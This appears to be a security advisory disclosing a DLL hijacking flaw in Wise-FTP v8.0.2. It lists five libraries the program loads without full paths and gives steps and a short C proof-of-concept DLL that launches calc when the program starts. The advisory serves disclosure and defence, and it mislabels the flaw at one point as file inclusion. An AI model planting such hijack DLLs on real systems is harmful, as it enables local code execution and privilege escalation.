WISE-FTP Software v8.0.2 - DLL Hijacking Vulnerability

[metacom27@xxxxxxxxx]

Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official 
Wise-FTP v8.0.2 software.
The issue allows local attackers to inject code to vulnerable libraries to 
compromise the process or to gain higher access privileges.

The windows software is vulnerable to dll hijacking attacks. The vulnerability 
is located in the Linkinfo.dll , mpr.dll , netutils.dll , secur32.dll , 
wkscli.dll file extensions.  The software does not specify the fully qualified 
path to a dynamic-linked libraries (Linkinfo.dll , mpr.dll , netutils.dll , 
secur32.dll , wkscli.dll).  The vulnerable version affects the Wise-FTP v8.0.2 
software. The security risk of the local file include vulnerability is 
estimated 
as high with a cvss (common vulnerability scoring system) count of 6.0. 

Vulnerable Software:
[+] Wise-FTP

Vulnerable Version(s):
[+] v8.02

Vulnerable Libraries:
[+] Linkinfo.dll
[+] mpr.dll
[+] netutils.dll
[+] secur32.dll 
[+] wkscli.dll 


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with 
restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to Linkinfo.dll or mpr.dll
2. Copy Linkinfo.dll to C:\Program Files\AceBIT\WISE-FTP 8
3. Launch WISE-FTP 8

PoC: DLL Hijack Exploit
/*
#include <windows.h>
int alpdaemon()
{
  WinExec("calc", SW_SHOW);
  exit(0);
  return 0;
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  alpdaemon();
  return 0;
}